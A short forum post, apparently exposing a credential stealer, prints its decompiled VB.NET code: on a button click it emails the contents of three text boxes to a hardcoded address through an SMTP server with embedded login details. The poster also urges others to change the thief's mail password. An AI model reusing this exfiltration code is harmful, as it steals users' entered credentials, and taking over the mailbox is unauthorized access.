OMG :D
Another one !!!
Lets see: :mofo:
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Start
Dim body As String = (Me.TextBox1.Text & Me.TextBox2.Text & Me.TextBox3.Text & ChrW(10))
Dim client As New SmtpClient("smtp.web.de")
client.Credentials = New NetworkCredential("
[Only registered and activated users can see links. Click Here To Register...]", Conversions.ToString(&HBC614E), "web.de")
client.Send("
[Only registered and activated users can see links. Click Here To Register...]", "
[Only registered and activated users can see links. Click Here To Register...],
[Only registered and activated users can see links. Click Here To Register...]", "
Daten", body)
End Sub
please someone change mail pass :handsdown:
BTW... Thanks :mofo: